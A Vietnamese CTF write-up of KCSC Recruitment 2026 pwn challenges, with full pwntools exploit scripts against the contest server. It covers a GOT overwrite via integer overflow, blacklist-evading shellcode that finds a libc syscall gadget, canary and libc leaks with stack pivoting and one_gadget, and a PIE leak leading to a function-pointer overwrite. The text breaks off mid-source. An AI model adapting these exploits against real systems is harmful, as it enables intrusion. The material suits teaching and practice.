# Write up KCSC RECRUITMENT 2026
# AT22N0233-Nguyễn Cao Thiện [Miền Nam]
## PWN
### EASYYYYYY
Source code:
Hàm main:


Hàm create:

Hàm menu:

Hàm make_noise:

Hàm input_player:

Hàm view:

Có hàm win:
-Mục tiêu lúc này là làm sao đấy để hàm win được thực thi là sẽ có được shell và có được flag
-Đọc code ta thấy được bug ở hàm input_player khi nó cho nhập id mà không có bước kiểm tra nên ta có thể điều hướng nó để ghi đè GOT
-Kiểm tra users thấy nó nằm ở 0x4040E0

-Debug và kiểm tra bảng GOT

-Thấy được GOT nằm hoàn toàn phía trước users nên id ta nhập vào phải là số âm nhưng scanf trong hàm input_player lại dùng %llu(unsigned long long) là số nguyên không dấu và trong số nguyên không dấu thì 0-1 sẽ bị overflow và trả về giá trị lớn nhất dạng 0xFFFFFFFFFFFFFFFF.Biết được nguyên lí như này thì giờ ta sẽ chọn GOT để ghi đè từ đó suy ra id và trừ 1 vài GOT thì ta gần như có thể ghi đè được lên tất cả GOT; bài này thì mình chọn printf
-Tiếp theo tính khoảng cách từ users đến printf là 0x4040E0-0x404048=152 suy ra id=-2 thì printf sẽ nằm trong khoảng 80 byte của users và lệnh đi 8 byte so với đầu users vì id=-2 thì users sẽ bắt đầu tại nơi cách users gốc 160 byte và printf thì lại cách users gốc 152 byte.Đến đây ta chỉ cần ghi 8 byte +cho địa chỉ của hàm win là có thể ghi đè GOT printf thành win và chỉ cần printf được gọi thì hàm win sẽ được thực thi và ta sẽ có shell và flag
-Ở main trước tiên chương trình sẽ vào hàm create và hàm này có read 80 byte nên ta nhập đại vào 80 byte rác,tiếp theo hàm menu sẽ yêu cầu ta chọn option và ta đã xác định được lỗi ở input_player là option 1 nên ta nhập 1 để vào hàm input_player.Trong input_player ta mún nhập vào id=-2 và dựa theo nguyên lý đã nói ở trên và chuyển đổi từ hex sang hệ 10 thì có được id=18446744073709551614.Nếu tinh ý khi đọc bảng GOT ta sẽ thấy nó nằm liền kề nhau nghĩa là users với id=-2 thì printf GOT sẽ lệch 8 byte và 8 byte đó là của system GOT thì ta nhập lại giá trị của GOT vào read bên dưới lun vì thay đổi thì khi vào hàm win và gọi system('/bin/sh') sẽ bị lỗi và ta kết thúc nhập bằng byte null lun để tránh ảnh hưởng các GOT khác phía sau lúc này nó sẽ quay lại menu và ra khỏi menu có hàm printf lúc này nó thực thi win lun mà không cần chọn tiếp option.Giờ ta đã có được shell và chỉ cần cat flag.txt là được
Full script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./vuln',checksec=False)
# p=process(exe.path)
p=remote('67.223.119.69',5000)
p.send(b"A"*0x50)
p.sendlineafter(b"Input your choice:", b"1")
p.sendlineafter(b"id:",b'18446744073709551614')
payload =p64(0x401080)
payload +=p64(exe.sym['win'])+b'\0'
p.sendafter(b"name:", payload)
p.interactive()
#KCSC{ece40d68efa99180a5376c1badba3c8f8ee4964c1a7b7a1f96791dede279316a}
```
Flag:**KCSC{ece40d68efa99180a5376c1badba3c8f8ee4964c1a7b7a1f96791dede279316a}**
-**Kinh nghiệm và bài học rút ra**:bài này tuy mác và tên đều là easy nhưng mà cũng cần phải tinh ý và có chút kiến thức về interger overflow để nhận biết được mục tiêu là ghi đè GOT và với 1 hàm chỉ nhận số dương thì làm sao để chương trình hiểu là số âm.Kèm với đó là kĩ năng quan sát khi chọn GOT để ghi đè vì nếu bài này chọn printf mà ghi đè 8 byte rác phía trước thì chắc chắn sẽ bị sai vì khi đè 8 byte rác này lại vô tình rơi vô system mà hàm win lại thực thi system và nếu lỗi thì tất nhiên là mở debug lên xem ta ghi đè như nào là sẽ thấy và chỉnh sửa thôi
### babyshellcode
Source code:

Bài này muốn mình viết shellcode để thực thi và chính xác hơn đó là kĩ thuật open read write hoặc sendfile vì ở điều kiện if thứ 2 thì sau khi ta gửi shellcode vào sẽ không thể gửi thêm gì nữa; vấn đề lớn nhất của bài này là thiết lập 1 blacklist cho shellcode của mình.Nó sẽ quét 1 lần 2 byte toàn bộ shellcode của mình và gặp các giá trị cấm sẽ exit và các giá trị cấm này lần lượt là 3 lệnh syscall,sysenter và int 0x80 nhưng thứ mình để ý là syscall vì ta dùng các kĩ thuật trên thì phải có syscall.Hướng giải lúc này là nếu nó cấm syscall thì mình tự chế tạo ra syscall.Nói là chế tạo nhưng thật ra là tạo 1 vòng lặp kiếm lệnh syscall trong libc và nạp nó vào 1 thanh ghi để khi nào mình cần dùng thì cần gọi thanh ghi đó ra.
Vòng lặp tìm syscall:
```
[BƯỚC 1] LẤY ĐỊA CHỈ LIBC
mov rcx, [rsp + 0x30]
dec rcx
[BƯỚC 2] TÌM GADGET
xor rdx, rdx
mov dx, 0x050e
inc dx
[BƯỚC 3] QUÉT TÌM 'syscall; ret'
search_loop:
inc rcx
Check có phải syscall (0f 05) không
cmp word ptr [rcx], dx
jne search_loop
Check byte sau đó có phải 'ret' (c3) không
(Bắt buộc phải có check này để tránh crash)
cmp byte ptr [rcx+2], 0xc3
jne search_loop
==> TÌM THẤY!
mov rbx, rcx
```
-Sau vòng lặp này thì syscall,ret đã ở trong rbx tiếp theo ta thực hiện kĩ thuật sendfile cho gọn.Đầu tiên phải open file chứa flag trước và nhớ là dữ liệu đầu ra sẽ vào rax
```
xor rax,rax
push rax
mov rax,0x7478742e67616c66
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
call rbx
```
-Tiếp theo ta thiết lập cho sendfile và nó có 4 tham số với tham số đầu mình điền 1 đề write dữ liệu ra,tham số 2 là write dữ liệu từ chỗ nào thì nó là của file mình open ở trên và đã được lưu vào rax chỉ cần copy từ rax bỏ vào là được,tham số thứ 3 để là null để nó đọc tuần tự từ đầu đến cuối,còn tham số thứ 4 là số byte nó đọc cho đại 100 là ổn
```
mov rsi,rax
mov rdi,1
xor rdx,rdx
mov r10,100
mov rax,0x28
call rbx
```
-Như vậy là đã thiệt lập shellcode xong gửi vào nữa là xong
Full script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./vuln',checksec=False)
# p=process(exe.path)
p=remote('67.223.119.69',5023)
# chế tạo syscall
shellcode=asm(
'''
mov rcx, [rsp+0x30]
dec rcx
xor rdx, rdx
mov dx, 0x050e
inc dx
search_loop:
inc rcx
cmp word ptr [rcx], dx
jne search_loop
cmp byte ptr [rcx+2], 0xc3
jne search_loop
mov rbx, rcx
xor rax,rax
push rax
mov rax,0x7478742e67616c66
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
call rbx
mov rsi,rax
mov rdi,1
xor rdx,rdx
mov r10,100
mov rax,0x28
call rbx
'''
,arch='amd64'
)
payload=shellcode
p.sendlineafter(b'Your shellcode: ',payload)
p.interactive()
#KCSC{3x3cu74bl3_574ck_15_3x7r3m3ly_d4n63r0u5}
```
Flag:**KCSC{3x3cu74bl3_574ck_15_3x7r3m3ly_d4n63r0u5}**
**Kinh nghiệm và bài học rút ra**: bài này giúp e biết được tại sao mình được mấy a hướng dẫn là học assembly đầu tiên.Nó giúp e giải quyết những thử thách như trong này vì nếu dùng sendfile và thiết lập các thanh ghi để gọi chương trình thực thi thì cơ bản rồi còn gặp phải những chốt chặn như này mới là cái hay của bài.Lúc này ta buộc phải dùng những kiến thức của mình để 1 là tìm gadget syscall rồi quăng vào 1 thanh ghi để khi dùng thì gọi còn nếu gadget thiếu thì mình phải dùng kiến thức về assembly để tự tạo 1 syscall hoặc đơn giản là mượn tạm libc rồi dùng vòng lặp để kiếm lệnh syscall ở phía trong
+**Bài học**:dù là cách nào thì buộc ta cũng phải có kiến thức cơ bản về assembly và tất nhiên thì đây mới chỉ là bài easy sau này nếu gặp các bài ở mức medium hay hard thì thực sự đòi hỏi kĩ năng về assembly của mình phải tốt hơn cũng như tư duy tốt hơn.Nên em thấy đây là một bài khá hay giúp mình rèn luyện tư duy cũng như kĩ năng dùng assembly của mình
### Ranacy (HIUHIU) :>>
Source code:

-Nhìn vào file tải về có libc thì chắc chắn có dùng đến libc và bài có canary nữa
-Nhìn vào source code ta thấy bug buffer overflow khá rõ vì biến buf chỉ 264 byte mà read ở case 1 read tận 288 byte và printf ở case 3 sẽ giúp mình leak được kha khá dữ liệu phía sau
-Đầu tiên ta leak canary vì canary lun có byte null ở đầu nên ta sẽ ghi đè lên byte null đấy và receive 7 byte đằng sau là đã có được canary
```
p.sendline(b'1')
p.sendafter(b'data:\n> ',b'A'*265)
p.sendline(b'2')
p.recvuntil(b'A'*265)
canary=u64(b'\0'+p.recv(7))
log.info('canary :'+hex(canary))
```
-Tiếp theo là leak libc và thông thường ta sẽ chuyển hướng chương trình sang hàm puts để in ra 1 địa chỉ của 1 hàm trên libc.Tuy nhiên với bài này lại không có pop rdi nên ta không thể truyền tham số vào rdi để puts in ra nó được;lúc này ta phải đổi hướng giải và ta bắt đầu debug để xem trên stack xem có gì vui
-Nhập đại 1 chuỗi byte rác và check stack thì đây là thứ ta nhận được

-Trong ảnh ta có thể thấy rõ ràng canary save rbp và save rip nhưng mà hãy để ý phía dưới save rip là 1 đống space (0x20)và 1 cái địa chỉ trỏ đến libc.Mà hàm printf thì không dừng lại khi gặp space nên ta có thể leak luôn cái này
-Sau đó ta dùng vmmap

-Ta thấy được offset giữa libc leak được và libc base là 0x29d90 và cái offset này không phải giờ thay đổi nên ta chỉ việc lấy địa chỉ libc leak trừ cho offset này là ra được libc base.Tuy nhiên phải receive 8 byte space kia để leak được đúng libc.Đến đây cứ tưởng chỉ cần điều hướng để nó thực hiện system('/bin/sh')là xong tuy nhiên khi thử thì chương trình sẽ bị lỗi và thay vì pop '/bin/sh' và rdi làm tham số thì nó lại pop 0x20202020 kia vào làm chương trình bị;điều này chứng tỏ vùng này quá nhỏ ta cần phải điều hướng đến vùng khác.
-Chính là stack pivot ở chỗ này nhưng bài này chỉ lặp có mình 5 lần mà ta đã dùng 4 lần để leak canary và libc thì buộc ta phải cho nó thực thi lại hàm vuln để reset vòng lặp tuy nhiên nếu ta ghi đè save rip bằng địa chỉ main thì nó sẽ bị lỗi stack alignment là do stack bị lệch đi và không còn chia hết cho 16 và read vào chỉ 288 byte nên ta không thể thêm lệnh ret vào đây để giải quyết lỗi này mà ta chọn nhảy vào hàm stack để thiết lập lại chương trình và có 1 điều phải nhớ là dù thiết lập lại nhưng vẫn đang trong cùng 1 tiến trình và binary đã được load vào rồi nên những thứ ta leak được ở trên không hề bị sai lúc này
-Lúc này ta có 1 trick là dùng one gadget nghĩa là nó sẽ thực thi execve("/bin/sh",0,0)luôn nhưng mà nó có điều kiện và điều kiện nằm phía sau constraints và với bài này thì one gadget như sau

Ta debug và nhìn vào giá trị của các thanh ghi để con one gadget và bài này ta chọn được one gadget có offset 0xebd43 và ta có one gadget adr=libc base+offset;tiếp theo ta chọn vùng để fake stack.Ta dùng vmmap thì thấy được file binary có quyền read write chỗ này

-Ta chọn 1 địa chỉ ở giữa giữa trong vùng đấy và mình chọn 0x404950;tiếp theo ta chỉ cần chọn option 1 và gửi payload vào với save rbp được thay bằng 0x404950 và save rip là one gadget adr và chọn tiếp option để thoát vòng lặp là đã có được shell rồi giờ ta cần cat flag là có flag.
Full script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./ranacy_patched',checksec=False)
libc=ELF('./libc.so.6',checksec=False)
p=process(exe.path)
# p=remote('67.223.119.69',5006)
### leak canary
p.sendline(b'1')
p.sendafter(b'data:\n> ',b'A'*265)
p.sendline(b'2')
p.recvuntil(b'A'*265)
canary=u64(b'\0'+p.recv(7))
log.info('canary :'+hex(canary))
### leak libc
p.sendline(b'1')
p.sendafter(b'data:\n> ',b'A'*288)
p.sendline(b'2')
p.recvuntil(b'A'*288)
p.recv(8)
leak=u64(p.recv(6)+b'\0\0')
libc.address=leak-0x29d90
log.info('leak: '+hex(leak))
log.info('libc_base: '+hex(libc.address))
p.sendline(b'1')
p.sendafter(b'data:\n> ',b'A'*264+p64(canary)+p64(0x404950)+p64(exe.sym['_start']))
p.sendline(b'1')
gadget_offset = 0xebd43
one_gadget_addr = libc.address + gadget_offset
log.info(f"One Gadget: {hex(one_gadget_addr)}")
payload_pwn = flat(
b'A' * 264,
p64(canary),
p64(0x404950),
p64(one_gadget_addr)
)
p.sendafter(b'> ', payload_pwn)
p.sendline(b'3')
p.interactive()
#KCSC{I5_7h1s_g4m3_fun_0r_y0u_c4n_n0t_l34k_it_?}
```
Flag:KCSC{I5_7h1s_g4m3_fun_0r_y0u_c4n_n0t_l34k_it_?}
-Kinh nghiệm và bài học:đây là một bài tag easy dù không easy lắm nhưng mà em thấy thực sự khá hay ạ.Ở phần leak canary thì chưa gặp khó khăn gì lắm nhưng ở phần leak libc thì author cố tình đưa vào 1 libc leak trên stack và mong muốn các bạn phải debug thì mới thấy ạ và tất nhiên là cũng phải hiểu 1 chút về các hàm đọc ghi thì mới leak được.
+Tiếp theo một thứ nữa mà em học được là không nhất thiết phải là địa chỉ của 1 hàm như GOT chẳng hạn thì ta mới có thể tính được libc base mà dù là bất kì địa chỉ nào ta cũng có thể tính được bằng cách là vmmap sẽ thấy được cái dòng libc đầu tiên thì libc base lúc này là địa chỉ start của dòng đấy và chỉ cần lấy cái ta leak được trừ cho base đấy sẽ ra được offset mà offset không đổi nên ta đã có thể leak được libc rồi.
+Bài học tiếp theo mà rút ra là đừng vội mừng vì cứ tưởng đến đây thì chỉ cần điều hướng theo ý mình để thực thi system('/bin/sh') là xong nhưng mà author lại cố tình làm cho khu vực này quá nhỏ để điều hướng bằng cách chặn vào 1 chuỗi space vào phía sau ta buộc phải stack pivot sang nơi khác lúc này thì có khá nhiều cách giải
* 1 là fake stack ở biến buf lun mà bài này chỉ cho lặp 5 lần nên ta phải cho vào làm vòng lặp lần thứ 2 thì mới leak được save rbp và tính base để fake stack và tiếp theo điều hướng theo ý mình là được
* 2 là ta có thể dùng 1 địa chỉ trống trống trên bss để fake stack vào và tiếp theo là dùng hàm nhập để nhập dữ liệu vào địa chỉ đấy
* 3 là cách em giải ạ và vẫn dùng 1 địa chỉ trên bss nhưng thay vì tìm gadget để điều hướng và nhập dữ liệu vào địa chỉ đấy thì em lại dùng 1 trick e học được trong quá trình giải bài trên DreamHack đó là có thể dùng onegadget để kiểm tra thử nếu điều kiện bài mà thỏa mãn thì có thể dùng lun cái onegadget này thì trong onegadget nó chứa sẵn lệnh để thực thi system(/bin/sh) cho mình luôn nhưng mà đây chỉ là một trick và không khuyến khích dùng ạ vì thỏa mãn điều kiện của bài thì khá khó nhưng mà có thể check qua trước khi dùng các cách khác ạ
### easy_revenge
Source code:
Hàm main:


Hàm create:

Hàm menu:

Hàm make_noise:

Hàm input_player:

Hàm view:

-Ta thấy bài này cũng khá giống bài easy ở trên nhưng ở input_player nó đã fix lại việc mình nhập 1 số âm vào bằng việc cho 1 câu if để kiểm tra giá trị thế nhưng bug vẫn ở trong hàm này lun vì %llu của scanf chỉ hiểu số hệ 10 dù ta nhập vào số hex hay gì cũng vậy và mọi phép toán số nguyên trên 64 bit đều diễn ra mod 2 mũ 64 dễ hiểu là nếu ta nhập vào 1 số 2^64-2 thì chương trình sẽ chỉ hiểu là -2 và ta áp dụng vào bài này thì ta nhập **230584300921369393** thì vừa đúng ghi đè lên got.
-Bài này thì mình vẫn muốn chọn tiếp prinf GOT và mình debug thì thấy khi nhập giá trị vào sẽ lệch so với printf GOT 16 byte và đó là 2 giá trị của 2 GOT nằm phía trước printf nên mình copy giá trị cũ của 2 GOT đấy ghi lại vào 16 byte để khi thực hiện các hàm khác tránh bị lỗi thế là xong rồi
Full script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./test',checksec=False)
# p=process(exe.path)
p=remote('67.223.119.69',5028)
p.send(b"A"*0x50)
p.sendlineafter(b"Input your choice:", b"1")
p.sendlineafter(b"id:",b'230584300921369393')
payload =p64(0x401080)+p64(0x401090) +p64(exe.sym['win'])
payload = payload.ljust(0x50, b'\x00')
p.sendafter(b"name:", payload)
p.interactive()
#KCSC{w0w_y0u_r34lly_c4n_g3t_r3v3ng3}
```
Flag:**KCSC{w0w_y0u_r34lly_c4n_g3t_r3v3ng3}**
* Bài này không nạp flag kịp ạ :<<<
-**Kinh nghiệm và bài học**:bài này khá hay vì nó đánh vào 1 kiến thức toán học đó là modulo với số nguyên không dấu thì là mod 2^64 thật ra thì nó là 1 phép chia lấy dư thôi nghĩa là mọi số nguyên không dấu đều được lấy chia dư với 2 mũ 64 và tất nhiên là nếu lớn 2 mũ 64 thì giá trị đấy sẽ bị reset về lại từ đầu áp dụng vào bài này kèm theo khả năng debug để xem mình thực sự ghi đè vào chỗ nào để chọn đúng giá trị thì ta có thể ghi đè GOT tương tự như bài easy rồi
### KCSC BANK (a WAN :>>)
Đau đớn gục ngã vì bài này :))))
Source code:
```
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#define MAX_LEN 0x10
struct GlobalState {
char username[MAX_LEN];
char password[MAX_LEN];
char description[MAX_LEN];
unsigned long long balance;
} state;
#define username state.username
#define password state.password
#define description state.description
void (*funcViewBalance)(void) = NULL;
void viewBalance(void);
void timeout(int sig) {
if (sig == SIGALRM) {
printf("\nTimeout!\n");
exit(0);
}
}
void init()
{
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
signal(SIGALRM, timeout);
alarm(60);
funcViewBalance = &viewBalance;
}
void menu()
{
printf("=====================\n");
printf("===== KCSC BANK =====\n");
printf("=====================\n");
printf("1. Register\n");
printf("2. Login\n");
printf("3. Exit\n");
}
void registerUser()
{
printf("Username: ");
fgets(username, MAX_LEN, stdin);
printf("Password: ");
fgets(password, MAX_LEN, stdin);
printf("Description: ");
fgets(description, MAX_LEN, stdin);
printf("Registration successful!\n");
}
bool login()
{
char user[MAX_LEN] = {0};
char pass[MAX_LEN] = {0};
if (username[0] == 0 || password[0] == 0)
{
printf("No registered user. Please register first.\n");
return false;
}
printf("Username: ");
fgets(user, MAX_LEN, stdin);
printf("Password: ");
fgets(pass, MAX_LEN, stdin);
if (strcmp(user, username) != 0 || strcmp(pass, password) != 0)
{
printf("Login failed!\n");
return false;
}
printf("Login successful!\n");
return true;
}
void menu2()
{
printf("=====================\n");
printf("===== KCSC BANK =====\n");
printf("=====================\n");
printf("1. View Balance\n");
printf("2. View Description\n");
printf("3. Change Description\n");
printf("4. Feedback\n");
printf("5. Exit\n");
}
void viewDescription()
{
printf("Description: %s\n", description);
}
void viewBalance()
{
printf("Balance: %lld\n", state.balance);
}
void changeDescription()
{
printf("New Description: ");
int size = read(0, description, MAX_LEN + 0x10);
description[size] = '\x00';
printf("Description updated!\n");
}
void feedback()
{
char feedback[256];
printf("Your Feedback: ");
fgets(feedback, sizeof(feedback), stdin);
state.balance += 1;
printf("Thank you for your feedback!\n");
}
void win()
{
char flag[512];
FILE *f = fopen("/flag.txt", "r");
if (f == NULL)
{
printf("Flag file not found!\n");
return;
}
fgets(flag, sizeof(flag), f);
printf("Congratulations! Here is your flag: %s\n", flag);
fclose(f);
}
void main()
{
int choice;
bool checkLogin = false;
init();
while (true)
{
menu();
printf("Choice: ");
scanf("%d", &choice);
getchar(); // consume newline
switch (choice)
{
case 1:
registerUser();
break;
case 2:
checkLogin = login();
break;
case 3:
printf("Exiting...\n");
return;
default:
printf("Invalid choice. Please try again.\n");
}
if(checkLogin)
break;
}
while (true)
{
menu2();
printf("Choice: ");
scanf("%d", &choice);
getchar(); // consume newline
switch (choice)
{
case 1:
funcViewBalance();
break;
case 2:
viewDescription();
break;
case 3:
changeDescription();
break;
case 4:
feedback();
break;
case 5:
printf("Exiting...\n");
return;
default:
printf("Invalid choice. Please try again.\n");
}
}
}
```
-Đọc code thì ta dễ dàng thấy được buffer overflow trong hàm change descript và có hàm win nên mục tiêu của ta là thực thi win **(1)**
```
void win()
{
char flag[512];
FILE *f = fopen("/flag.txt", "r");
if (f == NULL)
{
printf("Flag file not found!\n");
return;
}
fgets(flag, sizeof(flag), f);
printf("Congratulations! Here is your flag: %s\n", flag);
fclose(f);
}
```
```
int size = read(0, description, MAX_LEN + 0x10);
```
-Hàm read trong change description đọc vào 32 byte trong khi biến description chỉ được khai báo 16 byte nghĩa là dư 16 byte và nó sẽ tràn xuống các biến các khác.
-Nhìn vào struct ta thấy được cấu trúc của các biến toàn cục
```
struct GlobalState {
char username[MAX_LEN];
char password[MAX_LEN];
char description[MAX_LEN];
unsigned long long balance;
} state;
```
-Ta có description 16 byte sau đó là balance và 8 byte ở dưới nữa ta có
```
void (*funcViewBalance)(void) = NULL;
funcViewBalance = &viewBalance;
```
-Dưới nữa là con trỏ funcviewbalance lưu địa chỉ của viewbalance **(2)**
```
case 1:
funcViewBalance();
```
-Trong menu 2 có gọi thẳng funcviewbalance **(3)**
* Xâu chuỗi (1),(2),(3) thì ta thấy được mục tiêu là thực thi win mà ta lại có funcviewbalance lưu địa chỉ thì khi được gọi nó sẽ thực thi hàm có địa chỉ đấy
:::success
Ý tưởng:lợi dụng buffer overflow để ghi địa chỉ win vào fucviewbalance thì khi gọi funcviewbalance win sẽ được thực thi
:::
-Ý tưởng là vậy nhưng để hiện thực hóa nó thì không hề dễ dàng

-Muốn ghi địa chỉ win vào thì trước tiên ta phải có địa chỉ win và lúc này vấn đề mới lòi ra;pie on thì địa chỉ binary cũng đổi luôn và chỉ giữ đúng 1.5 byte cuối vậy thì tìm win kiểu gì nhỉ
-Chỉ có cách leak binary base thôi vậy giờ làm sao để leak.Nhìn lại toàn bộ những chi tiết mình tìm được nãy giờ thì ta nhận thấy funcviewbalancelà con trỏ lưu địa chỉ viewbalance mà ta có 1 chú ý như sau
:::info
exe.sym['win']
-Với **pie off** thì nó chính là địa chỉ của hàm win
-Với **pie on** thì nó chỉ là offset từ binary base đến hàm win thôi
:::
-Vậy giờ cách leak là gì (đây là phần hay nhất của bài này)
```
printf("Balance: %lld\n", state.balance)
```
Ta thấy viewbalance dùng printf và printf chỉ dừng khi gặp byte null vậy mình phải làm sao đó để 24 byte từ description đến funcviewbalance không chứa null thì mới leak được.Tuy nhiên không dễ như vậy
```
int size = read(0, description, MAX_LEN + 0x10);
description[size] = '\x00';
```
Tại change description sau khi đọc dữ liệu thì nó sẽ tự động thêm byte null vào byte phía sau (ghi vào 16 byte thì byte 17 sẽ bị set thành null,ghi vào 23 byte thì byte 24 sẽ bị set thành null ).Vậy vấn đề lớn nhất là ta phải làm sao để giải quyết cái byte null này là có thể leak được rồi.
-Trích a HiuHiu trong hint có nói "Mọi dòng code đều có ý nghĩa riêng của nó ,không tự nhiên mà author code như vậy".Thì ta đọc thật kĩ lại code ta sẽ nhận ra
```
void feedback()
{
char feedback[256];
printf("Your Feedback: ");
fgets(feedback, sizeof(feedback), stdin);
state.balance += 1;
printf("Thank you for your feedback!\n");
}
```
Tại hàm feedback thì khi nhập vào feedback nó không chỉ in ra lời cảm ơn mà nó còn cộng vào balance 1 đơn vị;và tất nhiên là phải có lí do thì mới có code này.Thử áp dụng nó vào vấn đề mình đang gặp phải là giải quyết byte null xem
-Null cộng 1 thì không là null nữa .Tuy nhiên vấn đề không đơn giản như vậy và có rất nhiều hướng đi ở đây cụ thể là mình đã vướng ở chỗ này rất lâu và có rất nhiều luồng suy nghĩ, hướng giải khác nhau nhưng đều thất bại cho đến khi tìm ra đúng hướng(hoặc có thể do mình overthinking :< ).
-Ta hiểu đơn giản thế này ở công đoạn lựa chọn byte nào làm byte null thì ta chỉ có thể chọn 1 trong 8 byte của balance thôi vì chỉ có trong balance mới cộng 1 để nó hết null và lý tưởng nhất là 2 byte đầu(LSB) và byte cuối (MSB).
-Với chọn byte đầu để làm null thì balance chỉ bị ảnh hưởng bởi description vì nó có ghi đè lên balance và feedback cộng 1 đơn vị sau mỗi lần feedback cho balance mà ban đầu balance được set null cả 8 byte đến việc chọn byte đầu làm null là không khả thi
-Với chọn byte cuối thì là byte quan trọng nhất (MSB)nghĩa là để thay đổi giá trị của nó dù chỉ 1 thì cũng rất khó(tốn rất rất rất nhiều lần +1) nhưng nếu ta set 7 byte đầu của balance là 0xff thì chỉ cần cộng 1 là byte cuối đã thành 1 rồi.Tuy nhiên byte cuối thành 1 thì 7 byte còn lại sẽ quay trở về null mà balance chỉ được cộng 1 1 lần thì việc lặp nhiều lần đến nỗi 7 byte còn lại đề thành 0x01 là điều không thể vì quá nhiều lần lặp và bài chỉ giới hạn 60s để chạy
-Hãy nhớ cộng là cộng vào byte đầu(LSB) và cũng là suy nghĩ dùng vòng lặp thì ta giải quyết như nào nhỉ;nếu mà có cách nào đó mà cộng riêng từng byte thì tuyệt lắm đấy.

Như ảnh thì mục tiêu của ta là mún biến byte kế cuối từ null thành không null mà muốn biết có thể hay không thì phải thử mới biết được.Nếu ta áp dụng chiến thuật tương tự như lần đầu mà lần này là nhập vào 6 byte null và byte thứ 7 sẽ thành null và byte cuối thì vẫn là 0x01 như ban đầu.Thì ta nhập vào 6 byte 0xff và byte 7 đang null set về null thì vẫn vậy và thứ ta phải chú ý chỗ này là cộng vào byte thấp nhất (byte đầu) nghĩa là khi cộng thì nó tương tự như lần trước sẽ biến byte bị set null thành 0x01 và toàn bộ về lại thành null.Ở chỗ này nếu ta nhầm là ở lần đầu thay đổi byte cuối thành 0x01 mà cộng 1 vào thành 0x02 thì toang đấy.
-Ta làm tương tự với các byte còn lại cuối balance sao cho balance sẽ là `0x01*8` nhé nhớ chỉ là byte của balance thôi không phải của balance thì không thay đổi được.
-Vậy lúc này ta đọc xong được công việc khó nhất là loại bỏ cái byte null đi.Tiếp theo chỉ cần leak thôi tuy nhiên nếu để ý thì địa chỉ của binary sẽ có 2 byte cuối là null nên ta chỉ cần recv 6 byte là đủ
-Ta có base=viewbalance_adr(leak)-exe.sym['viewbalance'](offset) là ta đã có được base
=> win_adr=base+exe.sym['win'](offset)
-Thế là ta đã có được địa chỉ chính xác của win rồi giờ chỉ cần ghi đè nó vào funcviewbalance rồi gọi nó ra nữa là xong
Full Script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./bank',checksec=False)
p=process(exe.path)
# p = remote("localhost", 1402)
p=remote('67.223.119.69',5001)
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Username: ", b"a")
p.sendlineafter(b"Password: ", b"a")
p.sendlineafter(b"Description: ", b"a")
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"Username: ", b"a")
p.sendlineafter(b"Password: ", b"a")
for n in range(7, 0, -1):
payload =b'A'*16+ b"\xff" * n
p.sendlineafter(b"Choice: ", b"3")
p.send(payload)
p.sendlineafter(b"Choice: ", b"4")
p.sendlineafter(b"Your Feedback: ", b"iuahiuhiu")
p.sendlineafter(b"Choice: ", b"4")
p.sendlineafter(b"Your Feedback: ", b"iuahiuhiu")
p.sendlineafter(b"Choice: ", b"2")
p.recvuntil(b"\x01"*8)
leak=u64(p.recv(6)+b'\0'*2)
base=leak-exe.sym['viewBalance']
win_adr=base+exe.sym['win']
log.info('leak :'+hex(leak))
log.info('base :'+hex(base))
log.info('win_adr :'+hex(win_adr))
p.sendlineafter(b"Choice: ", b"3")
payload=b'A'*24+p64(win_adr)
p.send(payload)
p.sendlineafter(b"Choice: ", b"1")
p.interactive()
```
Flag:**KCSC{vi_choi_pwn_24h/ngay_khien_toi_mat_mang,sau_khi_duoc_trung_sinh,toi_quyet_dinh_choi_pwn_25h/ngay_de_tra_thu_KCSC}**
-Kinh nghiệm và bài học:Trong những bài e đã giải ra thì hiện tại e đang tâm huyết nhất bài bank này ạ,1 phần là do em không động đến AL hỗ trợ dịch code mà tự dịch nên hơi lâu ạ.Em thấy bài này chủ yếu đánh vào tư duy ở phần leak vì việc nghĩ ra được có thể làm byte cuối không còn null bằng cách cộng 1 vào thì sẽ không khó để biết nhưng để biết được là mình có thể thay thế từng byte 1 trong balance thành 0x01 thì thật sự cũng căng lắm đấy ạ.Ở khúc leak này e nghĩ ra kha khá hướng và đi sai kha khá lần đến lúc em xin hint ở ticket thì được chỉ là có thể biến từng byte từ null thành không null rồi ghép lại là được thì lúc đầu e cũng wow nhưng giải 1 hồi lại gặp vướng mắc là làm kiểu gì được ta xong e đọc kĩ lại vài lần cái hint ấy rồi ngẫm thì mới ra được.Em thấy tư duy của em cũng được rèn luyện phần nào đó qua bài này ạ.
+Bài học em rút ra được là dù làm bài nào cũng phải đọc thật kĩ source và tận dụng mọi thứ trong đấy để có thể giải quyết vấn đề gặp phải trong bài ạ .Đặc biệt là nghĩ sai thì nghĩ lại chứ không được nản và bỏ cuộc ạ và tất nhiên là bỏ lên AL nó cũng không giải ra và tốt nhất vẫn là nên tự giải thì hơn
### Chrimas gift phỏng vấn
Source code:
Hàm main:
```
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setup();
memset(&presents, 0, 0x500u);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 == 1337 )
{
santa_func();
goto LABEL_27;
}
if ( v3 > 1337 )
break;
if ( v3 == 4 )
{
puts("Merry Christmas! Santa is coming!");
exit(0);
}
if ( v3 > 4 )
break;
switch ( v3 )
{
case 3:
printf("Id: ");
__isoc99_scanf("%u", &v4);
getchar();
if ( v4 > 0xF || !qword_40A8[10 * v4] )
goto LABEL_14;
edit_present(v4);
break;
case 1:
printf("Id: ");
__isoc99_scanf("%u", &v4);
getchar();
if ( v4 <= 0xF && qword_40A8[10 * v4] )
{
puts("Present exists");
break;
}
if ( v4 > 0xF )
{
LABEL_14:
